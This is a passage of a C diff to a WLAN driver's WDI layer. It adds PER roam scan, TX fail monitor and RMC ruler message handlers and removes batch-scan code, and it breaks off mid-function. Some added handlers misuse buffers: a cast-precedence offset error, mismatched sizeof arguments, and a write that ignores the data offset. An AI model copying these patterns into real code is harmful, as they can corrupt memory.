halPERRoamConfigReq.perRoamConfigParams.PERroamTriggerPercent = + wdiPERRoamOffloadReq->PERroamTriggerPercent; + halPERRoamConfigReq.perRoamConfigParams.PERtimerThreshold = + wdiPERRoamOffloadReq->PERtimerThreshold; + + halPERRoamConfigReq.perRoamConfigParams.reserved = 0; + + wpalMemoryCopy(pSendBuffer+usDataOffset, + &halPERRoamConfigReq.perRoamConfigParams, + sizeof(halPERRoamConfigReq.perRoamConfigParams)); + + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "waitPeriodForNextPERScan=%d rateUpThreshold=%d rateDownThreshold=%d isPERRoamCCAEnabled=%d", + halPERRoamConfigReq.perRoamConfigParams.waitPeriodForNextPERScan, + halPERRoamConfigReq.perRoamConfigParams.rateUpThreshold, + halPERRoamConfigReq.perRoamConfigParams.rateDownThreshold, + halPERRoamConfigReq.perRoamConfigParams.isPERRoamCCAEnabled); + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "PERtimerThreshold=%d PERroamTriggerPercent =%d PERRoamFullScanThreshold %d", + halPERRoamConfigReq.perRoamConfigParams.PERtimerThreshold, + halPERRoamConfigReq.perRoamConfigParams.PERroamTriggerPercent, + halPERRoamConfigReq.perRoamConfigParams.PERRoamFullScanThreshold); + + return WDI_SendMsg(pWDICtx, pSendBuffer, usSendSize, + wdiPERRoamOffloadScancb, pEventData->pUserData, + WDI_PER_ROAM_SCAN_OFFLOAD_RSP); +} + +WDI_Status +WDI_ProcessPERRoamScanTriggerReq(WDI_ControlBlockType *pWDICtx, + WDI_EventInfoType *pEventData) +{ + wpt_uint16 usSendSize = 0; + wpt_uint16 usDataOffset = 0; + wpt_uint8 *pSendBuffer = NULL; + WDI_PERRoamTriggerScanCb wdiPERRoamTriggerScancb = NULL; + WDI_PERRoamTriggerScanInfo *wdiPERRoamTriggerReq; + tStartRoamScanReq halPERRoamTriggerReq; + + if (!pEventData) { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: pEventdata is null", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + wdiPERRoamTriggerReq = (WDI_PERRoamTriggerScanInfo *) pEventData->pEventData; + wdiPERRoamTriggerScancb = (WDI_PERRoamTriggerScanCb)pEventData->pCBfnc; + + if (!wdiPERRoamTriggerReq || !wdiPERRoamTriggerScancb) { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer(pWDICtx, + WDI_PER_ROAM_SCAN_TRIGGER_REQ, + sizeof(halPERRoamTriggerReq.startRoamScanTriggerParams), + &pSendBuffer, &usDataOffset, &usSendSize))|| + (usSendSize < (usDataOffset + + sizeof(halPERRoamTriggerReq.startRoamScanTriggerParams)))) { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in GetFrameLog Req"); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + halPERRoamTriggerReq.startRoamScanTriggerParams.roamScanReq = + wdiPERRoamTriggerReq->roamScanReq; + + wpalMemoryCopy(pSendBuffer+usDataOffset, + &halPERRoamTriggerReq.startRoamScanTriggerParams, + sizeof(halPERRoamTriggerReq.startRoamScanTriggerParams)); + + return WDI_SendMsg(pWDICtx, pSendBuffer, usSendSize, + wdiPERRoamTriggerScancb, pEventData->pUserData, + WDI_PER_ROAM_SCAN_TRIGGER_RSP); +} + + + + /** @brief Process Start Roam Candidate Lookup Rsp function (called when a response is being received over the bus from HAL) @@ -26656,6 +27339,63 @@ WDI_ProcessRoamScanOffloadRsp return WDI_STATUS_SUCCESS; }/* WDI_ProcessRoamScanOffloadRsp */ + +WDI_Status +WDI_ProcessPERRoamScanOffloadRsp(WDI_ControlBlockType *pWDICtx, + WDI_EventInfoType *pEventData) +{ + WDI_Status wdiStatus; + eHalStatus halStatus; + WDI_PERRoamOffloadScanCb wdiPERRoamOffloadScancb = NULL; + + if ((NULL == pWDICtx) || (NULL == pEventData) || + (NULL == pEventData->pEventData)) { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + wdiPERRoamOffloadScancb = (WDI_PERRoamOffloadScanCb)pWDICtx->pfncRspCB; + + halStatus = *((eHalStatus*)pEventData->pEventData); + wdiStatus = WDI_HAL_2_WDI_STATUS(halStatus); + + /*Notify UMAC*/ + wdiPERRoamOffloadScancb(wdiStatus, pWDICtx->pRspCBUserData); + + return WDI_STATUS_SUCCESS; +}/* WDI_ProcessPERRoamScanOffloadRsp */ + +WDI_Status +WDI_ProcessPERRoamScanTriggerRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_Status wdiStatus; + eHalStatus halStatus; + WDI_PERRoamOffloadScanCb wdiPERRoamTriggerScancb = NULL; + + if ((NULL == pWDICtx) || (NULL == pEventData) || + (NULL == pEventData->pEventData)) { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + wdiPERRoamTriggerScancb = (WDI_PERRoamTriggerScanCb)pWDICtx->pfncRspCB; + + halStatus = *((eHalStatus*)pEventData->pEventData); + wdiStatus = WDI_HAL_2_WDI_STATUS(halStatus); + + /* Notify UMAC */ + wdiPERRoamTriggerScancb(wdiStatus, pWDICtx->pRspCBUserData); + + return WDI_STATUS_SUCCESS; +}/* WDI_ProcessPERRoamScanTriggerRsp */ #endif /** @@ -28502,6 +29242,44 @@ WDI_dhcpStopInd return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); } +#ifdef WLAN_FEATURE_RMC +/** + @brief WDI_TXFailMonitorInd + Host will send an event to the FW to start TX Fail Monitor + + @param + WDI_TXFailMonitorInd + @see + @return Result of the function call +*/ +WDI_Status +WDI_TXFailMonitorStartStopInd +( + WDI_TXFailMonitorInd *wdiTXFailMonitorInd +) +{ + WDI_EventInfoType wdiEventData; + + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + wdiEventData.wdiRequest = WDI_TX_FAIL_MONITOR_IND; + wdiEventData.pEventData = wdiTXFailMonitorInd; + wdiEventData.uEventDataSize = sizeof(wdiTXFailMonitorInd); + wdiEventData.pCBfnc = NULL; + wdiEventData.pUserData = NULL; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} +#endif /* WLAN_FEATURE_RMC */ /** @brief Process DHCP Start Indication message and post it to HAL @@ -28649,6 +29427,77 @@ WDI_ProcessDHCPStopInd }/*WDI_ProcessDHCPStopInd*/ +#ifdef WLAN_FEATURE_RMC +/** + @brief Process TX Fail monitor indication + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessTXFailMonitor +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + wpt_uint16 usLen = 0; + WDI_TXFailMonitorInd* pwdiTxFailMonitorInd = NULL; + tTXFailMonitorInfo* pTXFailMonitorInfo; + WDI_Status wdiStatus; + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s", __func__); + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + + if (( NULL == pEventData ) || ( NULL == pEventData->pEventData )) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + pwdiTxFailMonitorInd = (WDI_TXFailMonitorInd*)pEventData->pEventData; + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_TX_FAIL_MONITOR_IND, + sizeof(tDHCPInfo), + &pSendBuffer, &usDataOffset, &usSendSize))|| + ( usSendSize < (usDataOffset + usLen ))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in DHCP Start req %p ", + pEventData); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + pTXFailMonitorInfo = (tTXFailMonitorInfo*)pSendBuffer+usDataOffset; + pTXFailMonitorInfo->tx_fail_count = pwdiTxFailMonitorInd->tx_fail_count; + + pWDICtx->pReqStatusUserData = pwdiTxFailMonitorInd->pUserData; + pWDICtx->wdiReqStatusCB = pwdiTxFailMonitorInd->wdiReqStatusCB; + /*------------------------------------------------------------------------- + Send TX Fail Monitor start/stop indication to HAL + -------------------------------------------------------------------------*/ + wdiStatus = WDI_SendIndication( pWDICtx, pSendBuffer, usSendSize); + + return (wdiStatus != WDI_STATUS_SUCCESS)?wdiStatus:WDI_STATUS_SUCCESS_SYNC; +}/*WDI_ProcessTXFailMonitor*/ +#endif /* WLAN_FEATURE_RMC */ #ifdef WLAN_FEATURE_GTK_OFFLOAD /** @@ -29556,6 +30405,7 @@ WDI_ProcessFeatureCapsExchangeRsp gpFwWlanFeatCaps->featCaps[2], gpFwWlanFeatCaps->featCaps[3] ); + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, "Firmware Capability"); WDI_TraceHostFWCapabilities(gpFwWlanFeatCaps->featCaps); wdiFeatureCapsExchangeCb = (WDI_featureCapsExchangeCb) pWDICtx -> pfncRspCB; @@ -29923,6 +30773,18 @@ void WDI_SetEnableSSR(wpt_boolean enableSSR) gWDICb.bEnableSSR = enableSSR; } +/** + * WDI_SetMgmtPktViaWQ5() - Set INI params sendMgmtPktViaWQ5 to Control + * Block Type. + * @sendMgmtPktViaWQ5: INI params to enable/disable sending mgmt pkt via WQ5. + * + * Return: void + */ +void WDI_SetMgmtPktViaWQ5(wpt_boolean sendMgmtPktViaWQ5) +{ + gWDICb.sendMgmtPktViaWQ5 = sendMgmtPktViaWQ5; +} + #ifdef FEATURE_WLAN_LPHB /** @@ -30299,6 +31161,7 @@ WDI_ProcessIbssPeerInactivityInd } /*WDI_ProcessIbssPeerInactivityInd*/ + /** *@brief WDI_RateUpdateInd will be called when the upper MAC requests the device to set rates. @@ -30409,8 +31272,8 @@ WDI_ProcessRateUpdateInd /* Copy the tx flags */ pRateUpdateInd->halRateUpdateParams.ucastDataRateTxFlag = pwdiRateUpdateInd->ucastDataRateTxFlag; - pRateUpdateInd->halRateUpdateParams.reliableMcastDataRateTxFlag = - pwdiRateUpdateInd->reliableMcastDataRateTxFlag; + pRateUpdateInd->halRateUpdateParams.rmcDataRateTxFlag = + pwdiRateUpdateInd->rmcDataRateTxFlag; pRateUpdateInd->halRateUpdateParams.mcastDataRate24GHzTxFlag = pwdiRateUpdateInd->mcastDataRate24GHzTxFlag; pRateUpdateInd->halRateUpdateParams.mcastDataRate5GHzTxFlag = @@ -30419,8 +31282,8 @@ WDI_ProcessRateUpdateInd /* Copy the tx rates */ pRateUpdateInd->halRateUpdateParams.ucastDataRate = pwdiRateUpdateInd->ucastDataRate; - pRateUpdateInd->halRateUpdateParams.reliableMcastDataRate = - pwdiRateUpdateInd->reliableMcastDataRate; + pRateUpdateInd->halRateUpdateParams.rmcDataRate = + pwdiRateUpdateInd->rmcDataRate; pRateUpdateInd->halRateUpdateParams.mcastDataRate24GHz = pwdiRateUpdateInd->mcastDataRate24GHz; pRateUpdateInd->halRateUpdateParams.mcastDataRate5GHz = @@ -30439,227 +31302,828 @@ WDI_ProcessRateUpdateInd } /* WDI_ProcessRateUpdateInd */ -#ifdef FEATURE_WLAN_BATCH_SCAN -/** - @brief Process stop batch indication from WDA - - @param pWDICtx: pointer to the WLAN DAL context - pEventData: pointer to the event information structure - - @see - @return Result of the function call -*/ +#ifdef WLAN_FEATURE_RMC WDI_Status -WDI_ProcessStopBatchScanInd +WDI_ProcessRMCRulerResp ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ) { - wpt_uint8* pSendBuffer = NULL; - wpt_uint16 usDataOffset = 0; - wpt_uint16 usSendSize = 0; - WDI_Status wdiStatus; - tHalBatchScanStopIndParam *pHalInd = NULL; - WDI_StopBatchScanIndType *pWdiInd = NULL; - + tHalRmcRulerRspMsg halRmcRulerRspMsg; + WDI_RmcRulerRspCb wdiRmcRulerRspCb; + WDI_RmcRspParamsType wdiRmcRsp; - /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ - - WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, - "%s", __func__); - - /*------------------------------------------------------------------------- - Sanity check - -------------------------------------------------------------------------*/ - - if (( NULL == pEventData ) || ( NULL == pEventData->pEventData )) + /* Sanity check */ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData )) { - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, "%s: Invalid parameters", __func__); - WDI_ASSERT(0); + WDI_ASSERT( 0 ); return WDI_STATUS_E_FAILURE; } - pWdiInd = (WDI_StopBatchScanIndType *)pEventData->pEventData; - /*----------------------------------------------------------------------- - Get message buffer - -----------------------------------------------------------------------*/ - if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, - WDI_STOP_BATCH_SCAN_IND, - sizeof(tHalBatchScanStopIndParam), - &pSendBuffer, &usDataOffset, &usSendSize))|| - ( usSendSize < (usDataOffset + sizeof(tHalBatchScanStopIndParam)))) + wdiRmcRulerRspCb = (WDI_RmcRulerRspCb)pWDICtx->pfncRspCB; + + /* Extract indication and send it to UMAC */ + wpalMemoryCopy( &halRmcRulerRspMsg.rulerRspParams, + pEventData->pEventData, + sizeof(halRmcRulerRspMsg.rulerRspParams) ); + + wdiRmcRsp.status = halRmcRulerRspMsg.rulerRspParams.status; + wpalMemoryCopy(wdiRmcRsp.mcastTransmitter, + &halRmcRulerRspMsg.rulerRspParams.mcastTransmitter, + sizeof(wdiRmcRsp.mcastTransmitter)); + wpalMemoryCopy(wdiRmcRsp.mcastGroup, + &halRmcRulerRspMsg.rulerRspParams.mcastGroup, + sizeof(wdiRmcRsp.mcastGroup)); + + switch (halRmcRulerRspMsg.rulerRspParams.cmd) { - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, - "Unable to get send buffer in stop batch scan ind %p ", - pEventData); - WDI_ASSERT(0); - return WDI_STATUS_E_FAILURE; - } + default: + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid command %d", __func__, + halRmcRulerRspMsg.rulerRspParams.cmd); + return WDI_STATUS_E_FAILURE; - pHalInd = (tHalBatchScanStopIndParam *)(pSendBuffer + usDataOffset); - pHalInd->param = pWdiInd->param; + case WLAN_HAL_SUGGEST_RULER: + { + /* Fill in the indication parameters */ + wdiRmcRsp.cmd = eWDI_SUGGEST_RULER_CMD; + wpalMemoryCopy(wdiRmcRsp.ruler, + &halRmcRulerRspMsg.rulerRspParams.ruler, + sizeof(halRmcRulerRspMsg.rulerRspParams.ruler)); + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s Suggest_Ruler", __func__); + break; + } - pWDICtx->pReqStatusUserData = NULL; - pWDICtx->pfncRspCB = NULL; - /*------------------------------------------------------------------------- - Send Stop batch scan indication to HAL - -------------------------------------------------------------------------*/ - wdiStatus = WDI_SendIndication( pWDICtx, pSendBuffer, usSendSize); - return (wdiStatus != WDI_STATUS_SUCCESS) ? wdiStatus:WDI_STATUS_SUCCESS_SYNC; -} + case WLAN_HAL_BECOME_RULER: + { + /* Fill in the indication parameters */ + wdiRmcRsp.cmd = eWDI_BECOME_RULER_CMD; + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s Become_Ruler", __func__); + break; + } + } -/** - @brief This API is called to trigger batch scan results from FW + /* Notify UMAC */ + wdiRmcRulerRspCb(&wdiRmcRsp, pWDICtx->pRspCBUserData); - @param pWDICtx: pointer to the WLAN DAL context - pEventData: pointer to the event information structure + return WDI_STATUS_SUCCESS; +} - @see - @return Result of the function call -*/ WDI_Status -WDI_ProcessTriggerBatchScanResultInd +WDI_ProcessRMCUpdateIndToHost ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ) { - WDI_Status wdiStatus; - wpt_uint8* pSendBuffer = NULL; - wpt_uint16 usDataOffset = 0; - wpt_uint16 usSendSize = 0; - tHalBatchScanTriggerResultParam *pHalInd = NULL; - WDI_TriggerBatchScanResultIndType *pWdiInd = NULL; - - - /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ - - WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, - "%s", __func__); - - /*------------------------------------------------------------------------- - Sanity check - -------------------------------------------------------------------------*/ + WDI_LowLevelIndType wdiInd; + tHalRmcUpdateInd halRmcUpdateInd; - if (( NULL == pEventData ) || ( NULL == pEventData->pEventData )) + /* Sanity check */ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData )) { - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, "%s: Invalid parameters", __func__); - WDI_ASSERT(0); + WDI_ASSERT( 0 ); return WDI_STATUS_E_FAILURE; } - pWdiInd = (WDI_TriggerBatchScanResultIndType *)pEventData->pEventData; - /*----------------------------------------------------------------------- - Get message buffer - -----------------------------------------------------------------------*/ - if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, - WDI_TRIGGER_BATCH_SCAN_RESULT_IND, - sizeof(tHalBatchScanTriggerResultParam), - &pSendBuffer, &usDataOffset, &usSendSize))|| - ( usSendSize < (usDataOffset + sizeof(tHalBatchScanTriggerResultParam)))) + /* Extract indication and send it to UMAC */ + wpalMemoryCopy( &halRmcUpdateInd.rulerIndParams, + pEventData->pEventData, + sizeof(halRmcUpdateInd.rulerIndParams) ); + + switch (halRmcUpdateInd.rulerIndParams.indication) { - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, - "Unable to get send buffer in stop batch scan ind %p ", - pEventData); - WDI_ASSERT(0); - return WDI_STATUS_E_FAILURE; + default: + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid command %d", __func__, + halRmcUpdateInd.rulerIndParams.indication); + return WDI_STATUS_E_FAILURE; + + case WLAN_HAL_RULER_PICK_NEW: + { + /* Fill in the indication parameters */ + wdiInd.wdiIndicationType = WDI_RMC_RULER_PICK_NEW; + wdiInd.wdiIndicationData.wdiRmcPickNewRulerInd.indication + = halRmcUpdateInd.rulerIndParams.indication; + wdiInd.wdiIndicationData.wdiRmcPickNewRulerInd.role + = halRmcUpdateInd.rulerIndParams.role; + wpalMemoryCopy(wdiInd.wdiIndicationData.wdiRmcPickNewRulerInd. \ + mcastTransmitter, + &halRmcUpdateInd.rulerIndParams.mcastTransmitter, + sizeof(tSirMacAddr) ); + wpalMemoryCopy(wdiInd.wdiIndicationData.wdiRmcPickNewRulerInd.mcastGroup, + &halRmcUpdateInd.rulerIndParams.mcastGroup, + sizeof(tSirMacAddr) ); + wpalMemoryCopy(wdiInd.wdiIndicationData.wdiRmcPickNewRulerInd.mcastRuler, + &halRmcUpdateInd.rulerIndParams.mcastRuler, + sizeof(tSirMacAddr) ); + wpalMemoryCopy(wdiInd.wdiIndicationData.wdiRmcPickNewRulerInd.ruler, + &halRmcUpdateInd.rulerIndParams.ruler, + sizeof(tSirMacAddr) * HAL_NUM_MAX_RULERS ); + break; + } } - pHalInd = (tHalBatchScanTriggerResultParam *)(pSendBuffer + usDataOffset); - pHalInd->param = pWdiInd->param; - pWDICtx->pReqStatusUserData = NULL; - pWDICtx->pfncRspCB = NULL; - /*------------------------------------------------------------------------- - Send trigger batch scan result indication to HAL - -------------------------------------------------------------------------*/ - wdiStatus = WDI_SendIndication( pWDICtx, pSendBuffer, usSendSize); - return (wdiStatus != WDI_STATUS_SUCCESS) ? wdiStatus:WDI_STATUS_SUCCESS_SYNC; + /* Notify UMAC */ + pWDICtx->wdiLowLevelIndCB( &wdiInd, pWDICtx->pIndUserData ); + + return WDI_STATUS_SUCCESS; } +WDI_Status +WDI_RmcRulerReq +( + WDI_RmcRulerReqParams *wdiRmcRulerReqParams, + WDI_RmcRulerRspCb wdiRmcRulerRspCb, + void *usrData +) +{ + WDI_EventInfoType wdiEventData; + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); -/** - @brief Process set batch scan response from FW + return WDI_STATUS_E_NOT_ALLOWED; + } - @param pWDICtx: pointer to the WLAN DAL context - pEventData: pointer to the event information structure + /*------------------------------------------------------------------------ + Fill in Event data and post to the Main FSM + ------------------------------------------------------------------------*/ + wdiEventData.wdiRequest = WDI_RMC_RULER_REQ; + wdiEventData.pEventData = wdiRmcRulerReqParams; + wdiEventData.uEventDataSize = sizeof(WDI_RmcRulerReqParams); + wdiEventData.pCBfnc = wdiRmcRulerRspCb; + wdiEventData.pUserData = usrData; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); + +} /* WDI_RmcRulerReq */ - @see - @return Result of the function call -*/ WDI_Status -WDI_ProcessSetBatchScanRsp +WDI_RmcUpdateInd ( - WDI_ControlBlockType* pWDICtx, - WDI_EventInfoType* pEventData + WDI_RmcUpdateIndParams *wdiRmcUpdateIndParams ) { - WDI_SetBatchScanCb wdiSetBatchScanCb; - WDI_SetBatchScanRspType *pSetBatchScanRsp; + WDI_EventInfoType wdiEventData; + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + /*------------------------------------------------------------------------ + Fill in Event data and post to the Main FSM + ------------------------------------------------------------------------*/ + wdiEventData.wdiRequest = WDI_RMC_UPDATE_IND; + wdiEventData.pEventData = wdiRmcUpdateIndParams; + wdiEventData.uEventDataSize = sizeof(WDI_RmcUpdateIndParams); + wdiEventData.pCBfnc = NULL; + wdiEventData.pUserData = NULL; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); + +}/* WDI_RmcUpdateInd */ + +WDI_Status +WDI_ProcessRMCRulerReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_Status wdiStatus; + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + WDI_RmcRulerReqParams *pwdiRulerReq = NULL; + tHalRmcRulerReqMsg *pRulerReq; - tHalBatchScanSetRspParam *pHalSetBatchScanRsp; /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ - /*sanity check*/ - if (( NULL == pWDICtx ) || ( NULL == pEventData ) || - ( NULL == pEventData->pEventData)) - { - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, - "%s: Invalid parameters", __func__); - WDI_ASSERT(0); - return WDI_STATUS_E_FAILURE; - } + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s", __func__); - wdiSetBatchScanCb = (WDI_SetBatchScanCb)pWDICtx->pfncRspCB; - if ( NULL == wdiSetBatchScanCb) + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pEventData ) || ( NULL == pEventData->pEventData )) { - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, - "%s: call back function is NULL", __func__); - WDI_ASSERT(0); - return WDI_STATUS_E_FAILURE; + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; } + pwdiRulerReq = (WDI_RmcRulerReqParams *)pEventData->pEventData; + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ - pSetBatchScanRsp = wpalMemoryAllocate(sizeof(WDI_SetBatchScanRspType)); - - if (NULL == pSetBatchScanRsp) + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_RMC_RULER_REQ, + sizeof(tHalRmcRulerReqParams), + &pSendBuffer, &usDataOffset, &usSendSize))|| + ( usSendSize < (usDataOffset + + sizeof(tHalRmcRulerReqParams) ))) { - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, - "Failed to allocate memory in set batch scan response %p %p %p ", - pWDICtx, pEventData, pEventData->pEventData); - WDI_ASSERT(0); - return WDI_STATUS_E_FAILURE; + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in Ruler Req %p ", + pEventData); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; } - /* extract response and send it to UMAC */ - pHalSetBatchScanRsp = (tHalBatchScanSetRspParam *)pEventData->pEventData; - - pSetBatchScanRsp->nScansToBatch = pHalSetBatchScanRsp->supportedMscan; + pRulerReq = (tHalRmcRulerReqMsg *)pSendBuffer; + pRulerReq->rulerReqParams.cmd = pwdiRulerReq->cmd; + wpalMemoryCopy(pRulerReq->rulerReqParams.mcastTransmitter, + pwdiRulerReq->mcastTransmitter, WDI_MAC_ADDR_LEN); + wpalMemoryCopy(pRulerReq->rulerReqParams.mcastGroup, + pwdiRulerReq->mcastGroup, WDI_MAC_ADDR_LEN); + wpalMemoryCopy(pRulerReq->rulerReqParams.blacklist, + pwdiRulerReq->blacklist, + WDI_MAC_ADDR_LEN * HAL_NUM_MAX_RULERS); - /* Notify UMAC */ - wdiSetBatchScanCb(pSetBatchScanRsp, pWDICtx->pRspCBUserData); + pWDICtx->pReqStatusUserData = pEventData->pUserData; + pWDICtx->pfncRspCB = pEventData->pCBfnc; - wpalMemoryFree(pSetBatchScanRsp); + wdiStatus = WDI_SendMsg(pWDICtx, pSendBuffer, + usSendSize, pWDICtx->pfncRspCB, + pWDICtx->pReqStatusUserData, + WDI_RMC_RULER_RESP); + return wdiStatus; - return WDI_STATUS_SUCCESS; -}/* WDI_ProcessSetBatchScanRsp */ +} /* WDI_ProcessRMCRulerReq */ /** - @brief Process batch scan result indication from FW + @brief Process Update Indication and post it to HAL - @param pWDICtx: pointer to the WLAN DAL context + @param pWDICtx: pointer to the WLAN DAL context pEventData: pointer to the event information structure @see @return Result of the function call */ WDI_Status -WDI_ProcessBatchScanResultInd +WDI_ProcessRMCUpdateInd ( - WDI_ControlBlockType* pWDICtx, - WDI_EventInfoType* pEventData + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + WDI_RmcUpdateIndParams *pwdiUpdateInd = NULL; + tHalRmcUpdateInd *pUpdateInd; + WDI_Status wdiStatus; + + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s", __func__); + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pEventData ) || ( NULL == pEventData->pEventData )) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, 